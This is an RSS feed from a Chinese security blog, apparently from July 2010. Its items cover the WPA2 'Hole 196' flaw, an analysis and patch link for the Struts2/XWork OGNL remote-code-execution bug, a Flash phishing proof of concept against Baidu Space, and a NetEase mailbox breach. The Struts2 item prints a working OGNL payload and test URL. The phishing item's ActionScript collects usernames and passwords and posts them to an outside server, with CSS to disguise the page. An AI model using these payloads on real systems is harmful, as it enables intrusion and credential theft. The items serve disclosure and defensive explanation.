<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='http://feed.hackeye.com/styles/temp01.xsl' type='text/xsl' ?><!--这是一个由Feedsy提供技术支持的Feed，为了提高读者阅读的体验，以及满足用户美化自己Feed的需要，我们设计了多种精美的Feed模板，提供给大家选择，所有最终呈现出来的样式，皆由用户自愿选择使用，未经许可，任何团体和个人，请不要擅自修改样式或者盗用，这是对于用户选择权的尊重。--><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link href="http://feed.hackeye.com" type="application/rss+xml" rel="self"></atom:link><fs:self_link href="http://feed.feedsky.com/HackEye_1" type="application/rss+xml"></fs:self_link><lastBuildDate>Sun, 25 Jul 2010 02:40:50 GMT</lastBuildDate><title>Hack Eye!</title><description>Hack Eye!回来了</description><link>http://hackeye.com</link><sy:updatePeriod>hourly</sy:updatePeriod><sy:updateFrequency>1</sy:updateFrequency><language>en</language><pubDate>Sun, 25 Jul 2010 02:40:50 GMT</pubDate><item><title>WPA2协议爆漏洞：或从内部遭受攻击</title><link>http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467835/6269921/1/item.html</link><content:encoded>&lt;p&gt;WPA2协议爆出0day漏洞，“漏洞196”意味着内部恶意用户可以伪造数据包危害无线局域网。无线安全研究者称发现了迄今最强的加密验证标准 &amp;#8211;WPA2安全协议的漏洞，该漏洞可能会被网络内部的恶意用户利用。来自AirTight   Network无线网络安全公司的研究人员将其命名为“漏洞196”。这绰号来源则是IEEE 802.11标准（2007版）埋下漏洞的页码。 		&lt;span id=&quot;more-6594&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;该公司表示，漏洞196会导致一个类似于中间人的攻击方式：凭借内部授权用户和开源软件，可以在半空中解密其他用户私密数据、注入恶意流量至 网络、危害其它授权设备。   发现该漏洞的研究人员称，由AES衍生出来的WPA2既没有被破解，也没有通过暴力手段而暴露此漏洞。标准里的条款，允许所有客户端使用一个普通共享密匙 接收来自接入点的广播信号，当授权过的用户使用共享密匙传回利用组共享密匙加密的伪造数据包，漏洞便出现了。&lt;/p&gt;
&lt;p&gt;根据IEEE 802.11标准第196页，WPA2使用两种密匙：&lt;/p&gt;
&lt;p&gt;1、PTK（成对瞬时密钥），每个客户端唯一的，保护单点流量。&lt;br /&gt;
2、GTK（组临时密钥），保护网络内发送至多个客户端的数据。&lt;/p&gt;
&lt;p&gt;PTKs可以检测地址欺骗和数据伪造。“GTKs无此属性”。   便是这几个字暴露了漏洞。因为客户端拥有GTK协议以接收广播通信，所以用户可以利用GTK生成其设备自己的广播数据包，进而，客户端会发送自己私人密匙 信息响应这MAC地址。   研究人员使用了网上免费开源软件“MadWiFi”并修改了10行代码，和现成的随便什么无线网卡，伪造了接入点的MAC地址，当作网关向外传送信号。接 收到广播信息的客户端将其视为网关并以PTK回应，而此PTK本应是私密的，此时则能被内部人破译。进而可以控制流量、发起拒绝服务攻击、或者嗅探。&lt;/p&gt;
&lt;p&gt;AirTight公司表示，虽然此漏洞的利用仅限于授权用户，但多年的安全研究表明内部安全的缺口正在成为企业亏损的最大源头&amp;#8211;机密数据的窃取与贩卖 &amp;#8211;无论是哪个极度不爽的员工，或是间谍。尤其是这个网络高度发达的时代。  而对于漏洞196，除了协议升级给这漏洞补一下，不然没辙。&lt;/p&gt;
&lt;p&gt;新闻来源:networkworld.com&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/395467835/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467835/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467835/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467835/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://hackeye.com/post/6594.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>WPA2协议爆出0day漏洞，“漏洞196”意味着内部恶意用户可以伪造数据包危害无线局域网。无线安全研究者称发现了迄今最强的加密验证标准 &amp;#8211;WPA2安全协议的漏洞，该漏洞可能会被网络内部的恶意用户利用。来自AirTight   Network无线网络安全公司的研究人员将其命名为“漏洞196”。这绰号来源则是IEEE 802.11标准（2007版）埋下漏洞的页码。 		
该公司表示，漏洞196会导致一个类似于中间人的攻击方式：凭借内部授权用户和开源软件，可以在半空中解密其他用户私密数据、注入恶意流量至 网络、危害其它授权设备。   发现该漏洞的研究人员称，由AES衍生出来的WPA2既没有被破解，也没有通过暴力手段而暴露此漏洞。标准里的条款，允许所有客户端使用一个普通共享密匙 接收来自接入点的广播信号，当授权过的用户使用共享密匙传回利用组共享密匙加密的伪造数据包，漏洞便出现了。
根据IEEE 802.11标准第196页，WPA2使用两种密匙：
1、PTK（成对瞬时密钥），每个客户端唯一的，保护单点流量。
2、GTK（组临时密钥），保护网络内发送至多个客户端的数据。
PTKs可以检测地址欺骗和数据伪造。“GTKs无此属性”。   便是这几个字暴露了漏洞。因为客户端拥有GTK协议以接收广播通信，所以用户可以利用GTK生成其设备自己的广播数据包，进而，客户端会发送自己私人密匙 信息响应这MAC地址。   研究人员使用了网上免费开源软件“MadWiFi”并修改了10行代码，和现成的随便什么无线网卡，伪造了接入点的MAC地址，当作网关向外传送信号。接...&lt;img src=&quot;http://www1.feedsky.com/t1/395467835/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467835/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467835/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467835/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>WIFI</category><category>业界咨询</category><pubDate>Sun, 25 Jul 2010 10:40:50 +0800</pubDate><author>Neeao</author><comments>http://hackeye.com/post/6594.html#comments</comments><guid isPermaLink="false">http://hackeye.com/?p=6594</guid><dc:creator>Neeao</dc:creator><fs:srclink>http://hackeye.com/post/6594.html</fs:srclink><fs:srcfeed>http://hackeye.com/feed</fs:srcfeed><fs:itemid>feedsky/HackEye_1/~8166199/395467835/6269921</fs:itemid></item><item><title>Struts2/XWork &lt; 2.2.0远程执行任意代码漏洞分析及修补</title><link>http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467871/6269921/1/item.html</link><content:encoded>&lt;div&gt;
&lt;p&gt;By:Neeao&lt;/p&gt;
&lt;p&gt;1.exploit-db网站在7月14日爆出了一个&lt;a href=&quot;http://www.exploit-db.com/exploits/14360/&quot;&gt;Struts2的远程执行任意代码的漏洞&lt;/a&gt;， 此漏洞危害之大，可谓百发百中，直接root，只要采用了Struts2和webwork框架的系统（对于webwork的版本，不太清楚，我这里没环境 对其一一测试，&lt;a href=&quot;http://book.51cto.com/art/200905/125844.htm&quot;&gt;这里有两者关系的介绍&lt;/a&gt;）， 基本上无一幸免。&lt;span id=&quot;more-6591&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;2.昨天在接到朋友的提醒后，迅速将公司的一些使用此框架开发的项目漏洞修补了，我想大部分大公司的也在第一时间修补的差不多了，但是仍有很多公司，没有 安全团队的，估计被黑了还被蒙在鼓里，感觉有必要在这里提醒下使用struts开发的朋友们，因为毕竟自己当初也做过java的开发。&lt;/p&gt;
&lt;p&gt;3.漏洞成因在漏洞的poc中已经说的很详细了，但是都是英文的，而且对于Java不了解的人，可能会看得一头雾水，这里简单分析下，其实也是将原文粗略 的翻译下了，对于其中名词不熟悉的请Google之：&lt;/p&gt;
&lt;p&gt;Struts2的核心是使用的webwork框架，而webwork又是使用的&lt;code&gt;XWork来处理 action的，并且通过调用底层的&lt;/code&gt;getter/setter方法来处理http的参数，它将每个http参数声明为一个ONGL（&lt;a href=&quot;http://www.javaeye.com/wiki/Struts2_leader_guide/1990-struts_guide_13&quot;&gt;这 里是ONGL的介绍&lt;/a&gt;）语句。当我们提交一个http参数：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;user.address.city=Bishkek&amp;amp;user['favoriteDrink']=kumys&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ONGL将它转换为：&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;action.getUser().getAddress().setCity(&quot;Bishkek&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;action.getUser().setFavoriteDrink(&quot;kumys&quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用 ValueStack.setValue()。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;除了支持参数的设置和读取，ONGL支持另外的一些功能：&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; 调用方法：&lt;code&gt;foo()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt; &lt;code&gt;调用静态方法：&lt;/code&gt;&lt;code&gt;@java.lang.System@exit(1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt; &lt;code&gt;类的调用：&lt;/code&gt;&lt;code&gt;new  MyClass()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt; &lt;code&gt;处理上下文变量：&lt;/code&gt;&lt;code&gt;#foo  = new MyClass()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于ONGL的调用可以通过http传参来执行，为了防止攻击者以此来调用任意方法，Xwork设置了两个参数来进行防护：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; OgnlContext&lt;code&gt;的属性  'xwork.MethodAccessor.denyMethodExecution'（默认为真）&lt;/code&gt;&lt;/li&gt;
&lt;li&gt; SecurityMemberAccess私有字段&lt;code&gt; 'allowStaticMethodAccess'（默认为假）&lt;br /&gt;
&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为方便开发人员经常访问各种对象，XWork定义了很多预定义的上下文变量：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; &lt;code&gt;#application&lt;/code&gt;&lt;/li&gt;
&lt;li&gt; &lt;code&gt;#session&lt;/code&gt;&lt;/li&gt;
&lt;li&gt; &lt;code&gt;#request&lt;/code&gt;&lt;/li&gt;
&lt;li&gt; &lt;code&gt;#parameters&lt;/code&gt;&lt;/li&gt;
&lt;li&gt; &lt;code&gt;#attr&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些变量代表各种服务器变量。为了防止攻击者篡改服务器端对象，XWork的ParametersInterceptor是不允许参数名称中有#的，大约 在一年前，漏洞发现者找到了一种方法来绕过这种保护（&lt;a href=&quot;http://jira.opensymphony.com/browse/XW-641&quot;&gt;&lt;code&gt;XW-641&lt;/code&gt;&lt;/a&gt;），即通过java的unicode字符串来表示：&lt;code&gt;\u0023。当时感觉通过一种方法&lt;/code&gt;&lt;code&gt;(OGNL value  stack clearing)&lt;/code&gt;&lt;code&gt;来修补是不够的，但是没有更多的时间来研究。&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;今年早些时候，漏洞发现者又发现了一些Xwork&lt;/code&gt;的一些预定义的变量：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; #context &amp;#8211; 这个方法的能否被调用是基于OgnlContext的  &amp;#8216;xwork.MethodAccessor.denyMethodExecution&amp;#8217; 属性的值&lt;/li&gt;
&lt;li&gt; #_memberAccess &amp;#8211; SecurityMemberAccess的&amp;#8217;allowStaticAccess&amp;#8217;  字段用来防止静态方法的执行&lt;/li&gt;
&lt;li&gt; #root&lt;/li&gt;
&lt;li&gt; #this&lt;/li&gt;
&lt;li&gt; #_typeResolver&lt;/li&gt;
&lt;li&gt; #_classResolver&lt;/li&gt;
&lt;li&gt; #_traceEvaluations&lt;/li&gt;
&lt;li&gt; #_lastEvaluation&lt;/li&gt;
&lt;li&gt; #_keepLastEvaluation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用&lt;a href=&quot;http://jira.opensymphony.com/browse/XW-641&quot;&gt;&lt;code&gt;XW-641&lt;/code&gt;&lt;/a&gt;所描述的方法，漏洞发现者通过修改一些值能够调用被保护的Java代码，并 且执行任意的Java代码：&lt;/p&gt;
&lt;div id=&quot;highlighter_399050&quot;&gt;
&lt;div&gt;
&lt;div&gt;&lt;a title=&quot;view source&quot; href=&quot;http://neeao.com/archives/59/#viewSource&quot;&gt;view source&lt;/a&gt;&lt;/p&gt;
&lt;div&gt;&lt;embed id=&quot;highlighter_399050_clipboard&quot; title=&quot;copy to clipboard&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;16&quot; height=&quot;16&quot; src=&quot;http://neeao.com/include/syntax/scripts/clipboard.swf&quot; allowscriptaccess=&quot;always&quot; wmode=&quot;transparent&quot; flashvars=&quot;highlighterId=highlighter_399050&quot; menu=&quot;false&quot;&gt;&lt;/embed&gt;&lt;/div&gt;
&lt;p&gt;&lt;a title=&quot;print&quot; href=&quot;http://neeao.com/archives/59/#printSource&quot;&gt;print&lt;/a&gt;&lt;a title=&quot;?&quot; href=&quot;http://neeao.com/archives/59/#about&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#_memberAccess[&lt;/code&gt;&lt;code&gt;'allowStaticMethodAccess'&lt;/code&gt;&lt;code&gt;] = &lt;/code&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#foo = &lt;/code&gt;&lt;code&gt;new&lt;/code&gt; &lt;code&gt;java  .lang.Boolean(&lt;/code&gt;&lt;code&gt;&quot;false&quot;&lt;/code&gt;&lt;code&gt;)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#context[&lt;/code&gt;&lt;code&gt;'xwork.MethodAccessor.denyMethodExecution'&lt;/code&gt;&lt;code&gt;] = #foo&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#rt = &lt;/code&gt;&lt;code&gt;@java&lt;/code&gt;&lt;code&gt;.lang.Runtime&lt;/code&gt;&lt;code&gt;@getRuntime&lt;/code&gt;&lt;code&gt;()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;#rt.exec(&lt;/code&gt;&lt;code&gt;'mkdir /tmp/PWNED'&lt;/code&gt;&lt;code&gt;)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;事实证明通过构造http请求能够调用该&lt;code&gt;OGNL的表达式。这个漏洞的PoC于2010年7月 12日发布。如果想测试你的应用程序是否有漏洞，可以使用下面的测试代码，将会调用:&lt;/code&gt;&lt;code&gt;java.lang.Runtime.getRuntime().exit(1)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;http://mydomain/MyStruts.action?(&amp;#8216;\u0023_memberAccess[\'allowStaticMethodAccess\']&amp;#8216;)(meh)=true&amp;amp;(aaa)((&amp;#8216;\u0023context[\'xwork.MethodAccessor.den&lt;/p&gt;
&lt;p&gt;yMethodExecution\']\u003d\u0023foo&amp;#8217;)(\u0023foo\u003dnew%20java.lang.Boolean(&amp;#8220;false&amp;#8221;)))&amp;amp;(asdf)((&amp;#8216;\u0023rt.exit(1)&amp;#8217;)(\u0023rt\u003d@java.lang.Runtime@getRunti&lt;br /&gt;
me()))=1&lt;/p&gt;
&lt;p&gt;4.如何修补此漏洞：&lt;/p&gt;
&lt;p&gt;目前官方已出了补丁：&lt;a href=&quot;http://svn.apache.org/viewvc?view=revision&amp;amp;revision=956389&quot;&gt;http://svn.apache.org/viewvc?view=revision&amp;amp;revision=956389&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;5.快写完了，发现绿盟也将这个漏洞中文说明也发出来了，不过标题是：&lt;a href=&quot;http://www.nsfocus.net/vulndb/15431&quot;&gt;XWork  ParameterInterceptor类绕过安全限制漏洞&lt;br /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;严格点说，这个应该是XWork的漏洞，谁让Struts2用的是人家的核心呢？：）。&lt;/p&gt;
&lt;/div&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/395467871/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467871/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467871/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467871/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://hackeye.com/post/6591.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>By:Neeao
1.exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞， 此漏洞危害之大，可谓百发百中，直接root，只要采用了Struts2和webwork框架的系统（对于webwork的版本，不太清楚，我这里没环境 对其一一测试，这里有两者关系的介绍）， 基本上无一幸免。
2.昨天在接到朋友的提醒后，迅速将公司的一些使用此框架开发的项目漏洞修补了，我想大部分大公司的也在第一时间修补的差不多了，但是仍有很多公司，没有 安全团队的，估计被黑了还被蒙在鼓里，感觉有必要在这里提醒下使用struts开发的朋友们，因为毕竟自己当初也做过java的开发。
3.漏洞成因在漏洞的poc中已经说的很详细了，但是都是英文的，而且对于Java不了解的人，可能会看得一头雾水，这里简单分析下，其实也是将原文粗略 的翻译下了，对于其中名词不熟悉的请Google之：
Struts2的核心是使用的webwork框架，而webwork又是使用的XWork来处理 action的，并且通过调用底层的getter/setter方法来处理http的参数，它将每个http参数声明为一个ONGL（这 里是ONGL的介绍）语句。当我们提交一个http参数：
user.address.city=Bishkek&amp;#38;user['favoriteDrink']=kumys
ONGL将它转换为：
action.getUser().getAddress().setCity(&quot;Bishkek&quot;)
action.getUser().setFavoriteDrink(&quot;kumys&quot;)
这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用 ValueStack.setValue()。
除了支持参数的设置和读取，ONGL支持另外的一些功能：

 调用方法：foo()
 调用静态方法：@java.lang.System@exit(1)
 类的调用：new  MyClass()
 处理上下文变量：#foo  = new MyClass()

由于ONGL的调用可以通过http传参来执行，为了防止攻击者以此来调用任意方法，Xwork设置了两个参数来进行防护：

 OgnlContext的属性...&lt;img src=&quot;http://www1.feedsky.com/t1/395467871/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467871/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467871/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467871/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>java</category><category>Struts2</category><category>安全防护</category><pubDate>Fri, 16 Jul 2010 18:20:38 +0800</pubDate><author>Neeao</author><comments>http://hackeye.com/post/6591.html#comments</comments><guid isPermaLink="false">http://hackeye.com/?p=6591</guid><dc:creator>Neeao</dc:creator><fs:srclink>http://hackeye.com/post/6591.html</fs:srclink><fs:srcfeed>http://hackeye.com/feed</fs:srcfeed><fs:itemid>feedsky/HackEye_1/~8166199/395467871/6269921</fs:itemid></item><item><title>hi.baidu.com Phishing With Flash</title><link>http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467875/6269921/1/item.html</link><content:encoded>&lt;pre&gt;Author: pz
Blog: http://hi.baidu.com/p__z
Team: http://www.80vul.com
date: 2010年7月6日

一 综述

百度空间在个人主页应用上传自定义的Flash模板,Flash显示在主页上的时,HTML容器的 allowNetworking=internal.
使得用户上传的flash可以和网络进行通信.再结合百度空间的CSS编辑,可以进行钓鱼攻击.
&lt;span id=&quot;more-6587&quot;&gt;&lt;/span&gt;
二 PoC

见http://hi.baidu.com/p__z

==phishing.fla==================================
stop();
// show once
var my_so:SharedObject = SharedObject.getLocal(&quot;cookie&quot;);
if (!my_so.data.isloaded) {
	my_so.data.isloaded = true;
	my_so.flush();
} else {
	clearAll();
}
var myformat:TextFormat = new TextFormat();
myformat.font = &quot;宋体&quot;;
myformat.size = 13;
this.createTextField(&quot;username_txt&quot;, this.getNextHighestDepth(), 569, 139, 137, 22);
username_txt.border = false;
username_txt.type = &quot;input&quot;;
username_txt.text = &quot;&quot;;
username_txt.onChanged = function(textfield_txt:TextField) {
	username_txt.setTextFormat(myformat);
};
this.createTextField(&quot;password_txt&quot;, this.getNextHighestDepth(), 569, 171, 137, 22);
password_txt.border = false;
password_txt.type = &quot;input&quot;;
password_txt.password = true;
password_txt.onChanged = function(textfield_txt:TextField) {
	password_txt.setTextFormat(myformat);
};
function clearAll() {
	username_txt.removeTextField();
	password_txt.removeTextField();
	_root.gotoAndStop(2);
}
submit.onPress = function() {
	var send_lv:LoadVars = new LoadVars();
	send_lv.un = username_txt.text;
	send_lv.pass = password_txt.text;
	send_lv.sendAndLoad(&quot;http://www.80vul.com/sobb/c.php&quot;, send_lv, &quot;POST&quot;);
	clearAll();
};
b1.onPress = function() {
	clearAll();
};
b2.onPress = function() {
	clearAll();
};
b3.onPress = function() {
	clearAll();
};
============================================

==phishing.css==================================

/*用户状态导航条隐藏*/
html body center div#usrbar{
background-color:#F5C969!important;
}
html body center div#usrbar nobr{
background-color:#F5C969!important;
color:#F5C969!important;
}
html body center div#usrbar nobr span{
 display:none!important;
 }
html body center div#usrbar a,html body center div#usrbar a:link,html body center div#usrbar a:visited,html body center div#usrbar a:hover{
color:#F5C969!important;
}
/*设置embed大小*/
#sp_beautify_items_wrapper{border: 0pt none;z-index: 65530;position: absolute;  left: 0px; top: 0px;}
html body embed {
height:1300px;
width:1300px;
position:absolute;
left:0px;
top:0px;
}
html body object{
height:1300px;
width:1300px;
position:absolute;
left:-120px;
top:-400px;
}
/*模块&quot;隐藏&quot;去除*/
.sp-beautify-item-head {display:none;}
/*模块边框去除*/
.sp-beautify-item beautify-item-11 {height:0px;width:0px;}
============================================

三 补丁[fix]

等待官方补丁
&lt;/pre&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/395467875/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467875/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467875/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467875/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://hackeye.com/post/6587.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>Author: pz
Blog: http://hi.baidu.com/p__z
Team: http://www.80vul.com
date: 2010年7月6日

一 综述

百度空间在个人主页应用上传自定义的Flash模板,Flash显示在主页上的时,HTML容器的 allowNetworking=internal.
使得用户上传的flash可以和网络进行通信.再结合百度空间的CSS编辑,可以进行钓鱼攻击.

二 PoC

见http://hi.baidu.com/p__z

==phishing.fla==================================
stop();
// show once
var my_so:SharedObject = SharedObject.getLocal(&quot;cookie&quot;);
if (!my_so.data.isloaded) {
	my_so.data.isloaded = true;
	my_so.flush();
} else {
	clearAll();
}
var myformat:TextFormat...&lt;img src=&quot;http://www1.feedsky.com/t1/395467875/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467875/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467875/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467875/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>技术文档</category><category>baidu</category><category>Flash</category><category>Phishing</category><pubDate>Tue, 06 Jul 2010 22:48:27 +0800</pubDate><author>Neeao</author><comments>http://hackeye.com/post/6587.html#comments</comments><guid isPermaLink="false">http://hackeye.com/?p=6587</guid><dc:creator>Neeao</dc:creator><fs:srclink>http://hackeye.com/post/6587.html</fs:srclink><fs:srcfeed>http://hackeye.com/feed</fs:srcfeed><fs:itemid>feedsky/HackEye_1/~8166199/395467875/6269921</fs:itemid></item><item><title>今天下午网易4大邮箱系统被黑，官方已回应</title><link>http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467885/6269921/1/item.html</link><content:encoded>&lt;p&gt;7月3日下午消息，今日有大量网友在各大论坛网站爆料称，网易所有的邮箱系统都被入侵。不过，黑客可能无意使邮箱瘫痪，而只是发出留言做了警告。&lt;span id=&quot;more-6585&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;网友在论坛中反映，网易的 163邮箱、126邮箱、yeah和188邮箱等全都遭遇到了黑客的入侵，邮箱用户的个人信息很可能会泄露。&lt;/p&gt;
&lt;p&gt;据网友截取的图片显示，黑客在网易邮箱服务器上留言文本都一个是hack.txt，文档中写着 “hacked by hacker just a joke”，意思是“黑客成功入侵，只是个玩笑。”&lt;/p&gt;
&lt;p&gt;据网友分析，黑客该次攻击服务器可能窃取了用户隐私，也可能真的只是一个玩笑，并没有篡改服务器文件。&lt;/p&gt;
&lt;p&gt;腾讯科技登录网易邮箱后发现，一直使用正常，未出现故障。截止发稿前，网易公司暂未对该事件做出回应。&lt;/p&gt;
&lt;p&gt;下午17时，&lt;a href=&quot;http://tech.qq.com/a/20100703/000144.htm&quot; target=&quot;_blank&quot;&gt;网易方面向腾讯科技发来声明&lt;/a&gt;，称事故是因负责静态页面文件更新工作的员工电脑被入侵，导致ftp账号密码泄露所致。目前，该事件对网易邮箱服务并未造成任何影响。&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/395467885/HackEye_1/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/HackEye_1/~8166199/395467885/6269921/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/HackEye_1/395467885/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/HackEye_1/395467885/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; 